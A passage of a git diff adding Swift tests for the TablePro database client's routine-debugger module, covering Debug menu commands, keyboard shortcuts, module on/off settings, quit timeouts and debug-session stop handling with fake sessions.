+    private func bar(_ keyboard: KeyboardSettings = KeyboardSettings()) -> NSMenu {
+        MainMenuBuilder.build(keyboard: keyboard, modules: [.routineDebugger]).bar
+    }
+
+    private func debugMenu(_ keyboard: KeyboardSettings = KeyboardSettings()) throws -> NSMenu {
+        try #require(bar(keyboard).items.first { $0.identifier == DebugMenuBuilder.identifier }?.submenu)
+    }
+
+    private func flatten(_ menu: NSMenu) -> [NSMenuItem] {
+        menu.items.flatMap { item -> [NSMenuItem] in
+            guard let submenu = item.submenu else { return [item] }
+            return [item] + flatten(submenu)
+        }
+    }
+
+    private func functionKey(_ scalar: Int) -> String {
+        Unicode.Scalar(UInt32(scalar)).map { String(Character($0)) } ?? ""
+    }
+
+    @Test("The Debug menu holds the debugger's commands in order")
+    func commandOrder() throws {
+        let menu = try debugMenu()
+        let actions = menu.items.map { $0.isSeparatorItem ? nil : $0.action }
+
+        #expect(actions == [
+            #selector(MainSplitViewController.chooseRoutineToDebug(_:)),
+            nil,
+            #selector(MainSplitViewController.debugContinue(_:)),
+            #selector(MainSplitViewController.debugStepOver(_:)),
+            #selector(MainSplitViewController.debugStepInto(_:)),
+            #selector(MainSplitViewController.debugStepOut(_:)),
+            #selector(MainSplitViewController.debugStop(_:)),
+            nil,
+            #selector(MainSplitViewController.toggleBreakpoint(_:)),
+            #selector(MainSplitViewController.removeAllBreakpoints(_:)),
+        ])
+        #expect(menu.items.first?.title == String(localized: "Debug Routine…"))
+    }
+
+    @Test("Continue, Step Over, Step Into and Step Out carry Xcode's keys and nothing else ships bound")
+    func defaultKeys() throws {
+        let items = try debugMenu().items.filter { !$0.isSeparatorItem }
+        let keys = Dictionary(uniqueKeysWithValues: items.compactMap { item in
+            item.action.map { ($0, (item.keyEquivalent, item.keyEquivalentModifierMask)) }
+        })
+
+        let continueKey = keys[#selector(MainSplitViewController.debugContinue(_:))]
+        let commandControl: NSEvent.ModifierFlags = [.command, .control]
+        let bare: NSEvent.ModifierFlags = []
+        #expect(continueKey?.0 == "y")
+        #expect(continueKey?.1 == commandControl)
+        #expect(keys[#selector(MainSplitViewController.debugStepOver(_:))]?.0 == functionKey(NSF6FunctionKey))
+        #expect(keys[#selector(MainSplitViewController.debugStepInto(_:))]?.0 == functionKey(NSF7FunctionKey))
+        #expect(keys[#selector(MainSplitViewController.debugStepOut(_:))]?.0 == functionKey(NSF8FunctionKey))
+        #expect(keys[#selector(MainSplitViewController.debugStepOver(_:))]?.1 == bare)
+
+        let unbound: [Selector] = [
+            #selector(MainSplitViewController.chooseRoutineToDebug(_:)),
+            #selector(MainSplitViewController.debugStop(_:)),
+            #selector(MainSplitViewController.toggleBreakpoint(_:)),
+            #selector(MainSplitViewController.removeAllBreakpoints(_:)),
+        ]
+        for selector in unbound {
+            #expect(keys[selector]?.0.isEmpty == true, "\(NSStringFromSelector(selector))")
+        }
+        #expect(KeyboardSettings.defaultShortcuts[.toggleBreakpoint] == nil)
+    }
+
+    @Test("Each debug default can be recorded again in Settings > Keyboard and is reserved by nothing")
+    func defaultsAreRecordable() throws {
+        for action in Self.defaultedActions {
+            let key = try #require(KeyboardSettings.defaultShortcuts[action])
+            let event = try #require(NSEvent.keyEvent(
+                with: .keyDown,
+                location: .zero,
+                modifierFlags: key.modifierFlags,
+                timestamp: 0,
+                windowNumber: 0,
+                context: nil,
+                characters: key.menuKeyEquivalent ?? "",
+                charactersIgnoringModifiers: key.menuKeyEquivalent ?? "",
+                isARepeat: false,
+                keyCode: key.keyCode
+            ))
+
+            #expect(BoundKey(from: event) == key, "\(action.rawValue)")
+            #expect(key.hasModifier || key.isFunctionKey, "\(action.rawValue)")
+            #expect(ShortcutAction.reservedConflict(for: key, context: action.context) == nil, "\(action.rawValue)")
+            #expect(KeyboardSettings().sanitized().shortcut(for: action) == key, "\(action.rawValue)")
+        }
+    }
+
+    @Test("A rebound debug command reaches its menu item")
+    func reboundKeyApplies() throws {
+        let f10 = BoundKey.special(.f10)
+        let menu = try debugMenu(KeyboardSettings(shortcuts: [ShortcutAction.debugStepOver.rawValue: f10]))
+        let stepOver = try #require(menu.items.first { $0.action == #selector(MainSplitViewController.debugStepOver(_:)) })
+
+        #expect(stepOver.keyEquivalent == functionKey(NSF10FunctionKey))
+        #expect(stepOver.identifier == MenuItemFactory.identifier(for: .debugStepOver))
+    }
+
+    @Test("With the module on, no two items share a title or a key equivalent, and each leaf is a nil-target command")
+    func moduleOnBarStaysConsistent() {
+        let items = flatten(bar())
+        let leaves = items.filter { !$0.isSeparatorItem && $0.submenu == nil }
+
+        let titles = leaves.map { $0.title }
+        let duplicateTitles = Dictionary(grouping: titles, by: { $0 }).filter { $0.value.count > 1 }.keys
+        #expect(duplicateTitles.isEmpty, "\(duplicateTitles)")
+
+        let combos = items.filter { !$0.keyEquivalent.isEmpty }
+            .map { "\($0.keyEquivalentModifierMask.rawValue)-\($0.keyEquivalent)" }
+        let duplicateCombos = Dictionary(grouping: combos, by: { $0 }).filter { $0.value.count > 1 }.keys
+        #expect(duplicateCombos.isEmpty, "\(duplicateCombos)")
+
+        let debugLeaves = leaves.filter { $0.action.map(MainSplitViewController.routineDebugSelectors.contains) ?? false }
+        #expect(debugLeaves.count == MainSplitViewController.routineDebugSelectors.count)
+        for item in debugLeaves {
+            #expect(item.target == nil, "\(item.title)")
+        }
+    }
+
+    @Test("Every Debug command reaches the window and dims with no debug tab in front")
+    func everyDebugCommandIsDecided() throws {
+        let selectors = try debugMenu().items.compactMap { $0.action }
+
+        #expect(Set(selectors) == MainSplitViewController.routineDebugSelectors)
+        for selector in selectors {
+            let name = NSStringFromSelector(selector)
+            #expect(MainSplitViewController.instancesRespond(to: selector), "\(name)")
+            var connected = MenuValidationContext()
+            connected.isConnected = true
+            #expect(MainSplitViewController.resolvedEnablement(selector, context: connected) == false, "\(name)")
+        }
+    }
+
+    @Test("Each Debug command follows the debug tab in front, and Agent mode dims them all")
+    func debugCommandsFollowTheSession() {
+        var context = MenuValidationContext()
+        context.isConnected = true
+        context.routineDebug = RoutineDebugMenuState(
+            canChooseRoutine: true,
+            performableCommands: [.stepOver, .stepInto],
+            canStop: true,
+            canToggleBreakpoint: true,
+            canRemoveAllBreakpoints: false
+        )
+        let expected: [(Selector, Bool)] = [
+            (#selector(MainSplitViewController.chooseRoutineToDebug(_:)), true),
+            (#selector(MainSplitViewController.debugContinue(_:)), false),
+            (#selector(MainSplitViewController.debugStepOver(_:)), true),
+            (#selector(MainSplitViewController.debugStepInto(_:)), true),
+            (#selector(MainSplitViewController.debugStepOut(_:)), false),
+            (#selector(MainSplitViewController.debugStop(_:)), true),
+            (#selector(MainSplitViewController.toggleBreakpoint(_:)), true),
+            (#selector(MainSplitViewController.removeAllBreakpoints(_:)), false),
+        ]
+        for (selector, enabled) in expected {
+            #expect(
+                MainSplitViewController.resolvedEnablement(selector, context: context) == enabled,
+                "\(NSStringFromSelector(selector))"
+            )
+        }
+
+        var disconnected = context
+        disconnected.isConnected = false
+        #expect(MainSplitViewController.resolvedEnablement(
+            #selector(MainSplitViewController.chooseRoutineToDebug(_:)), context: disconnected
+        ) == false)
+
+        var agent = context
+        agent.isAgentMode = true
+        for (selector, _) in expected {
+            #expect(
+                MainSplitViewController.resolvedEnablement(selector, context: agent) == false,
+                "\(NSStringFromSelector(selector))"
+            )
+        }
+    }
+}
diff --git a/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift b/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift
index b451009d15..2a01ca20ff 100644
--- a/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift
+++ b/apple/TableProTests/Core/Menu/MainMenuBuilderTests.swift
@@ -11,8 +11,8 @@ import TableProPluginKit
 import Testing
 
 @MainActor
-private func buildMenu(_ keyboard: KeyboardSettings = KeyboardSettings()) -> NSMenu {
-    MainMenuBuilder.build(keyboard: keyboard).bar
+private func buildMenu(_ keyboard: KeyboardSettings = KeyboardSettings(), modules: Set<AppModule> = []) -> NSMenu {
+    MainMenuBuilder.build(keyboard: keyboard, modules: modules).bar
 }
 
 private func flatten(_ menu: NSMenu) -> [NSMenuItem] {
@@ -186,9 +186,10 @@ struct MainMenuStructureTests {
 
 @MainActor
 struct MainMenuShortcutCoverageTests {
+    // Every module on: a module's actions have menu items only while it is.
     @Test("Every customizable action reaches exactly one menu item")
     func everyShortcutActionIsReachable() {
-        let identifiers = flatten(buildMenu()).compactMap(\.identifier?.rawValue)
+        let identifiers = flatten(buildMenu(modules: Set(AppModule.allCases))).compactMap(\.identifier?.rawValue)
         for action in ShortcutAction.allCases {
             let expected = MenuItemFactory.identifier(for: action).rawValue
             let matches = identifiers.filter { $0 == expected }.count
diff --git a/apple/TableProTests/Core/Modules/AppModuleResidueTests.swift b/apple/TableProTests/Core/Modules/AppModuleResidueTests.swift
new file mode 100644
index 0000000000..740c691310
--- /dev/null
+++ b/apple/TableProTests/Core/Modules/AppModuleResidueTests.swift
@@ -0,0 +1,231 @@
+import AppKit
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+// An off module leaves nothing behind (apple/AGENTS.md, Scope). With it off no path opens a debug tab, so none can
+// reach an MCP snapshot, AppleScript or recent tabs; the debug tab's own tests pin that one left open is excluded.
+@MainActor
+struct AppModuleResidueTests {
+    private static let debugActions: [ShortcutAction] = [
+        .debugContinue, .debugStepOver, .debugStepInto, .debugStepOut, .toggleBreakpoint,
+    ]
+
+    private static let routine = DatabaseTreeRoutineRef(
+        database: "app",
+        schema: "public",
+        routine: RoutineInfo(name: "order_total", kind: .function, schema: "public", language: "plpgsql")
+    )
+
+    private static let target = PluginDebugTarget(
+        identity: "16431",
+        name: "order_total",
+        schema: "public",
+        kindDisplayName: "Function"
+    )
+
+    private func modules(on: Bool, in suite: EphemeralDefaults) -> AppModuleSettings {
+        let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+        settings.setEnabled(on, for: .routineDebugger)
+        return settings
+    }
+
+    private func flatten(_ menu: NSMenu) -> [NSMenuItem] {
+        menu.items.flatMap { item -> [NSMenuItem] in
+            guard let submenu = item.submenu else { return [item] }
+            return [item] + flatten(submenu)
+        }
+    }
+
+    private func debugItems(in bar: NSMenu) -> [NSMenuItem] {
+        let identifiers = Set(Self.debugActions.map { MenuItemFactory.identifier(for: $0) })
+        return flatten(bar).filter { item in
+            if let action = item.action, MainSplitViewController.routineDebugSelectors.contains(action) { return true }
+            if let identifier = item.identifier, identifiers.contains(identifier) { return true }
+            return item.identifier == DebugMenuBuilder.identifier || item.title == DebugMenuBuilder.title
+        }
+    }
+
+    private func routineMenu(canDebug: Bool) -> [DatabaseTreeMenuSection] {
+        var context = DatabaseTreeMenuSpecTests().context(clicked: .routine(Self.routine))
+        context.canDebugRoutine = canDebug
+        return DatabaseTreeMenuSpec.sections(for: context)
+    }
+
+    private func titles(_ sections: [DatabaseTreeMenuSection]) -> [String] {
+        sections.flatMap { $0.items }.compactMap { item in
+            guard case .command(let entry) = item else { return nil }
+            return entry.title
+        }
+    }
+
+    private func keyboardRows(_ enabled: Set<AppModule>) -> [ShortcutAction] {
+        ShortcutCategory.allCases.flatMap { ShortcutAction.settingsRows(in: $0, enabledModules: enabled) }
+    }
+
+    // MARK: - Off
+
+    @Test("Off: the built menu bar has no Debug menu, no debug command and no debug key equivalent")
+    func offLeavesNoMenu() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: false, in: suite)
+        let bar = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: settings.enabledModules).bar
+
+        let leftovers = debugItems(in: bar).map { $0.title }
+        #expect(leftovers.isEmpty, "Debug items in the menu bar with the module off: \(leftovers)")
+
+        let debugKeys = Set(Self.debugActions.compactMap { KeyboardSettings().menuKeyEquivalent(for: $0) }
+            .map { "\($0.modifiers.rawValue)-\($0.characters)" })
+        let claimed = flatten(bar)
+            .filter { !$0.keyEquivalent.isEmpty }
+            .map { "\($0.keyEquivalentModifierMask.rawValue)-\($0.keyEquivalent)" }
+            .filter { debugKeys.contains($0) }
+        #expect(claimed.isEmpty, "A debug default still reaches the menu bar: \(claimed)")
+    }
+
+    @Test("Off: a routine row offers no Debug… and the debugger is never asked")
+    func offLeavesNoSidebarItem() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: false, in: suite)
+        var asked = 0
+        let canDebug = DatabaseTreeMenuContext.canDebugRoutine(.routine(Self.routine), modules: settings) { _ in
+            asked += 1
+            return Self.target
+        }
+        let sections = routineMenu(canDebug: canDebug)
+        let issued = DatabaseTreeMenuSpecTests().commands(sections)
+
+        #expect(!canDebug)
+        #expect(asked == 0)
+        #expect(!issued.contains(.debugRoutine(Self.routine)))
+        #expect(!titles(sections).contains(String(localized: "Debug…")))
+    }
+
+    @Test("Off: Settings > Keyboard lists no debug row and no Debug section")
+    func offLeavesNoKeyboardRows() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: false, in: suite)
+        let rows = keyboardRows(settings.enabledModules)
+
+        for action in Self.debugActions {
+            #expect(!rows.contains(action), "\(action.rawValue)")
+        }
+        #expect(ShortcutAction.settingsRows(in: .debug, enabledModules: settings.enabledModules).isEmpty)
+    }
+
+    @Test("Off: recording a debug default for another command names no hidden debug command")
+    func offDebugDefaultsClaimNothing() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: false, in: suite)
+        let keyboard = KeyboardSettings()
+
+        for action in Self.debugActions {
+            guard let key = KeyboardSettings.defaultShortcuts[action] else { continue }
+            #expect(
+                keyboard.findConflict(for: key, excluding: .refresh, enabledModules: settings.enabledModules) == nil,
+                "\(key.displayString) is reported against \(action.rawValue)"
+            )
+        }
+    }
+
+    // Read from the host's own defaults, which no test turns the module on in.
+    @Test("Off: a debug binding the user reassigned earlier stands no other command down")
+    func offDebugOverrideClaimsNothing() throws {
+        try #require(!AppModule.storedEnabledModules().contains(.routineDebugger))
+        let refresh = try #require(KeyboardSettings.defaultShortcuts[.refresh])
+        let keyboard = KeyboardSettings(shortcuts: [ShortcutAction.debugStepOver.rawValue: refresh])
+
+        #expect(keyboard.shortcut(for: .refresh) == refresh)
+    }
+
+    // The coordinator reads the host's own module state, which no test turns on.
+    @Test("Off: no path opens a debug tab or a debug session")
+    func offOpensNoDebugTab() throws {
+        try #require(!AppModuleSettings.shared.isEnabled(.routineDebugger))
+        let fixture = CoordinatorFixture()
+        let coordinator = fixture.coordinator
+
+        #expect(coordinator.routineDebugTarget(for: Self.routine.routine) == nil)
+        #expect(!coordinator.canChooseRoutineToDebug())
+        coordinator.debugRoutine(Self.routine.routine)
+        coordinator.chooseRoutineToDebug()
+
+        #expect(fixture.tabManager.tabs.isEmpty)
+        #expect(coordinator.frontRoutineDebugController == nil)
+        #expect(!RoutineDebugSessions.shared.hasActiveSessions)
+    }
+
+    // MARK: - On
+
+    @Test("On: the Debug menu sits after Query and before Window")
+    func onAddsTheMenu() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: true, in: suite)
+        let titles = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: settings.enabledModules).bar
+            .items.map { $0.title }
+
+        let query = try #require(titles.firstIndex(of: String(localized: "Query")))
+        let debug = try #require(titles.firstIndex(of: DebugMenuBuilder.title))
+        let window = try #require(titles.firstIndex(of: String(localized: "Window")))
+        #expect(debug == query + 1)
+        #expect(window == debug + 1)
+    }
+
+    @Test("On: a routine the driver can debug offers Debug…")
+    func onAddsTheSidebarItem() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: true, in: suite)
+        let canDebug = DatabaseTreeMenuContext.canDebugRoutine(.routine(Self.routine), modules: settings) { _ in
+            Self.target
+        }
+        let sections = routineMenu(canDebug: canDebug)
+
+        #expect(canDebug)
+        #expect(DatabaseTreeMenuSpecTests().commands(sections).contains(.debugRoutine(Self.routine)))
+        #expect(titles(sections).contains(String(localized: "Debug…")))
+    }
+
+    @Test("On: Settings > Keyboard lists the debug rows under Debug")
+    func onAddsKeyboardRows() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: true, in: suite)
+
+        #expect(ShortcutAction.settingsRows(in: .debug, enabledModules: settings.enabledModules) == Self.debugActions)
+        let rows = keyboardRows(settings.enabledModules)
+        for action in Self.debugActions {
+            #expect(rows.contains(action), "\(action.rawValue)")
+        }
+    }
+
+    @Test("On: a debug default is reported against its command when recorded for another")
+    func onDebugDefaultsAreClaimed() throws {
+        let suite = try EphemeralDefaults()
+        let settings = modules(on: true, in: suite)
+        let stepOver = try #require(KeyboardSettings.defaultShortcuts[.debugStepOver])
+
+        #expect(
+            KeyboardSettings().findConflict(for: stepOver, excluding: .refresh, enabledModules: settings.enabledModules)
+                == .debugStepOver
+        )
+    }
+
+    // MARK: - Switching
+
+    @Test("Switching the module adds and removes the Debug menu in the installed bar at once")
+    func switchingEditsTheInstalledBar() throws {
+        let built = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: [])
+        let offTitles = built.bar.items.map { $0.title }
+
+        MainMenuBuilder.applyModules([.routineDebugger], keyboard: KeyboardSettings(), to: built.bar, windowsMenu: built.windowsMenu)
+        MainMenuBuilder.applyModules([.routineDebugger], keyboard: KeyboardSettings(), to: built.bar, windowsMenu: built.windowsMenu)
+        let onTitles = built.bar.items.map { $0.title }
+        let onBuilt = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: [.routineDebugger]).bar.items.map { $0.title }
+        #expect(onTitles == onBuilt)
+        #expect(built.bar.items.filter { $0.identifier == DebugMenuBuilder.identifier }.count == 1)
+
+        MainMenuBuilder.applyModules([], keyboard: KeyboardSettings(), to: built.bar, windowsMenu: built.windowsMenu)
+        #expect(built.bar.items.map { $0.title } == offTitles)
+        #expect(debugItems(in: built.bar).isEmpty)
+    }
+}
diff --git a/apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift b/apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift
new file mode 100644
index 0000000000..9ba525bbbd
--- /dev/null
+++ b/apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift
@@ -0,0 +1,107 @@
+import Foundation
+@testable import TablePro
+import Testing
+
+@MainActor
+struct AppModuleSettingsTests {
+    @Test("Every module starts off on a Mac that never turned it on")
+    func modulesStartOff() throws {
+        let suite = try EphemeralDefaults()
+        let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+
+        for module in AppModule.allCases {
+            #expect(module.defaultEnabled == false, "\(module.rawValue)")
+            #expect(!settings.isEnabled(module), "\(module.rawValue)")
+        }
+        #expect(settings.enabledModules.isEmpty)
+    }
+
+    @Test("Turning a module on is stored in the defaults suite and read back by a new instance")
+    func stateSurvivesRelaunch() throws {
+        let suite = try EphemeralDefaults()
+        let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+
+        settings.setEnabled(true, for: .routineDebugger)
+
+        #expect(suite.defaults.object(forKey: AppModule.routineDebugger.defaultsKey) as? Bool == true)
+        let relaunched = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+        #expect(relaunched.isEnabled(.routineDebugger))
+        #expect(AppModule.enabledModules(in: suite.defaults) == [.routineDebugger])
+
+        settings.setEnabled(false, for: .routineDebugger)
+        #expect(!AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+            .isEnabled(.routineDebugger))
+    }
+
+    @Test("Reset All Settings turns every module back to its default")
+    func resetRestoresDefaults() throws {
+        let suite = try EphemeralDefaults()
+        let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter())
+        settings.setEnabled(true, for: .routineDebugger)
+
+        AppModuleActivation.resetToDefaults(settings: settings)
+
+        for module in AppModule.allCases {
+            #expect(settings.isEnabled(module) == module.defaultEnabled, "\(module.rawValue)")
+        }
+    }
+
+    @Test("The change notification names the module and arrives after the new state is stored")
+    func notificationFollowsTheStore() throws {
+        let suite = try EphemeralDefaults()
+        let center = NotificationCenter()
+        let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: center)
+        let defaults = suite.defaults
+        var received: [(module: AppModule?, storedEnabled: Bool?)] = []
+        let observer = center.addObserver(forName: .appModulesDidChange, object: nil, queue: nil) { note in
+            received.append((
+                note.object as? AppModule,
+                defaults.object(forKey: AppModule.routineDebugger.defaultsKey) as? Bool
+            ))
+        }
+        defer { center.removeObserver(observer) }
+
+        settings.setEnabled(true, for: .routineDebugger)
+        settings.setEnabled(false, for: .routineDebugger)
+
+        let modules = received.map { $0.module }
+        let stored = received.map { $0.storedEnabled }
+        #expect(modules == [.routineDebugger, .routineDebugger])
+        #expect(stored == [true, false])
+    }
+
+    @Test("Setting the state a module already has stores and posts nothing")
+    func unchangedStateIsSilent() throws {
+        let suite = try EphemeralDefaults()
+        let center = NotificationCenter()
+        let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: center)
+        var posts = 0
+        let observer = center.addObserver(forName: .appModulesDidChange, object: nil, queue: nil) { _ in
+            posts += 1
+        }
+        defer { center.removeObserver(observer) }
+
+        settings.setEnabled(false, for: .routineDebugger)
+
+        #expect(posts == 0)
+        #expect(suite.defaults.object(forKey: AppModule.routineDebugger.defaultsKey) == nil)
+    }
+
+    @Test("The key is namespaced and per module")
+    func keysAreNamespaced() {
+        let keys = AppModule.allCases.map { $0.defaultsKey }
+        #expect(Set(keys).count == keys.count)
+        for key in keys {
+            #expect(key.hasPrefix("com.TablePro.modules."), "\(key)")
+        }
+    }
+
+    @Test("Every module names itself and says what it does")
+    func modulesDescribeThemselves() {
+        for module in AppModule.allCases {
+            #expect(!module.title.isEmpty)
+            #expect(!module.summary.isEmpty)
+        }
+        #expect(AppModule.routineDebugger.rawValue == "routineDebugger")
+    }
+}
diff --git a/apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift b/apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift
new file mode 100644
index 0000000000..2e7620e902
--- /dev/null
+++ b/apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift
@@ -0,0 +1,48 @@
+import Foundation
+@testable import TablePro
+import TableProTestSupport
+import Testing
+
+@MainActor
+private final class StopRecord {
+    var didStop = false
+}
+
+@MainActor
+struct AppModuleTerminationTests {
+    @Test("Quitting waits for a stop that finishes in time")
+    func stopInTimeIsAwaited() async {
+        let clock = ManualClock()
+        let record = StopRecord()
+
+        let finished = await AppModuleTermination.runCapped(at: AppModuleTermination.stopLimit, clock: clock) {
+            record.didStop = true
+        }
+
+        #expect(finished)
+        #expect(record.didStop)
+    }
+
+    @Test("A stop that never returns holds the quit no longer than the limit")
+    func stuckStopIsAbandonedAtTheLimit() async {
+        let clock = ManualClock()
+        let stuck = AsyncGate()
+        let run = Task { @MainActor in
+            await AppModuleTermination.runCapped(at: .seconds(5), clock: clock) {
+                await stuck.wait()
+            }
+        }
+
+        await stuck.arrived(1)
+        await clock.waitUntilSleeping()
+        clock.advance(by: .seconds(5))
+
+        #expect(await run.value == false)
+        await stuck.open()
+    }
+
+    @Test("The quit limit is five seconds")
+    func limitIsFiveSeconds() {
+        #expect(AppModuleTermination.stopLimit == .seconds(5))
+    }
+}
diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift
new file mode 100644
index 0000000000..fcc15bd0a1
--- /dev/null
+++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift
@@ -0,0 +1,820 @@
+//
+//  RoutineDebugControllerTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import TableProTestSupport
+import Testing
+
+@MainActor
+struct RoutineDebugControllerTests {
+    @Test("The first stop pauses at the reported line and loads the source, stack and variables")
+    func firstStopPausesAndInspects() async throws {
+        let session = FakeDebugSession(firstStopLine: 2)
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty }
+
+        #expect(controller.state.pausedLocation?.line == 2)
+        #expect(controller.executionLine == 2)
+        #expect(controller.displayedUnit == FakeDebugSession.unit)
+        #expect(controller.displayedSource == FakeDebugSession.source)
+        #expect(controller.frames.count == 1)
+        #expect(controller.variables.map { $0.name } == ["total", "note"])
+        #expect(session.sourceReadCount == 1)
+        #expect(session.stackReadCount == 1)
+        #expect(session.variableReadLevels == [0])
+        #expect(controller.statusText == String(format: String(localized: "Paused at line %d in %@"), 2, FakeDebugSession.unit.displayName))
+    }
+
+    @Test("Stop while paused ends the target once and closes every driver it took")
+    func stopWhilePaused() async throws {
+        let session = FakeDebugSession()
+        let drivers = DebugDriverLog()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.stop()
+        controller.stop()
+        await controller.waitUntilEnded()
+
+        #expect(session.stopCount == 1)
+        #expect(drivers.openedCount == 2)
+        #expect(drivers.closedCount == 2)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+        #expect(controller.statusText == String(localized: "Stopped"))
+        #expect(!controller.canStop)
+    }
+
+    @Test("Stop while a step runs ends the target once, and the step's late answer does not reopen it")
+    func stopWhileRunning() async throws {
+        let session = FakeDebugSession(performBlocksUntilStop: true)
+        let drivers = DebugDriverLog()
+        let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.perform(.continueExecution)
+        try await waitUntil { session.performedCommands == [.continueExecution] }
+        controller.stop()
+        await controller.waitUntilEnded()
+
+        #expect(session.stopCount == 1)
+        #expect(drivers.closedCount == drivers.openedCount)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("Stop while the debugger is still starting cancels the start, closes its drivers and ends stopped")
+    func stopWhileStartingCancelsTheStart() async throws {
+        let session = FakeDebugSession()
+        let drivers = DebugDriverLog()
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            session: session,
+            drivers: drivers,
+            startBehavior: .untilCancelled
+        )
+        controller.start()
+        try await waitUntil { drivers.openedCount == 2 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(debugger.startWasCancelled)
+        #expect(drivers.closedCount == 2)
+        #expect(session.stopCount == 0)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A cancelled start that cannot confirm its target ended shows why")
+    func unconfirmedCancelledStartBecomesTheStatus() async throws {
+        let drivers = DebugDriverLog()
+        let (controller, debugger) = RoutineDebugFixtures.controller(
+            session: FakeDebugSession(),
+            drivers: drivers,
+            startBehavior: .untilCancelledThenThrowing(FakeDebugError(message: "Server process 4242 may still be running."))
+        )
+        controller.start()
+        try await waitUntil { drivers.openedCount == 2 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+
+        #expect(debugger.startWasCancelled)
+        #expect(controller.statusText == "Server process 4242 may still be running.")
+    }
+
+    @Test("A step that finishes as the stop arrives says the routine finished first")
+    func finishedAnswerToAStopBecomesTheStatus() async throws {
+        let session = FakeDebugSession(performBlocksUntilStop: true, stopAnswer: .finished(nil))
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.perform(.continueExecution)
+        try await waitUntil { session.performedCommands == [.continueExecution] }
+        controller.stop()
+        try await waitUntil { controller.hasEnded && controller.statusText != String(localized: "Stopped") }
+
+        #expect(controller.statusText == String(localized: "The routine finished before the stop reached it."))
+    }
+
+    @Test("A start that ignores its cancellation loses its drivers at the limit, and a late session is still ended")
+    func startIgnoringCancellationIsCapped() async throws {
+        let late = AsyncGate()
+        let session = FakeDebugSession()
+        let drivers = DebugDriverLog()
+        let (controller, _) = RoutineDebugFixtures.controller(
+            session: session,
+            drivers: drivers,
+            startBehavior: .ignoringCancellation(late),
+            cancelLimit: .milliseconds(50)
+        )
+        controller.start()
+        try await waitUntil { drivers.openedCount == 2 }
+
+        controller.stop()
+        try await waitUntil { controller.hasEnded }
+        #expect(drivers.closedCount == 2)
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+        #expect(controller.statusText == RoutineDebugController.stopNotConfirmed)
+
+        await late.open()
+        try await waitUntil { session.stopCount == 1 }
+    }
+
+    @Test("When the plugin answers a stop with its own words, the status says them instead of Stopped")
+    func stopAnswerBecomesTheStatus() async throws {
+        let session = FakeDebugSession(
+            performBlocksUntilStop: true,
+            stopAnswer: .failed(message: "The routine is still running on the server.", detail: nil)
+        )
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
+        try await waitUntil { controller.state.pausedLocation != nil }
+
+        controller.perform(.continueExecution)
+        try await waitUntil { session.performedCommands == [.continueExecution] }
+        controller.stop()
+        try await waitUntil { controller.hasEnded && controller.statusText != String(localized: "Stopped") }
+
+        #expect(controller.statusText == "The routine is still running on the server.")
+        guard case .stopped = controller.state else {
+            Issue.record("expected stopped, got \(controller.state)")
+            return
+        }
+    }
+
+    @Test("A stop the plugin cannot confirm shows its words, whether or not a step was waiting", arguments: [false, true])
+    func unconfirmedStopBecomesTheStatus(stepWaiting: Bool) async throws {
+        let session = FakeDebugSession(
+            performBlocksUntilStop: stepWaiting,
+            stopAnswer: .failed(message: "Cancelled.", detail: nil),
+            stopOutcome: .unconfirmed(message: "Server process 4242 may still be running.", detail: "End it with pg_terminate_backend(4242).")
+        )
+        let (controller, _) = RoutineDebugFixtures.controller(session: session)
+        controller.start()
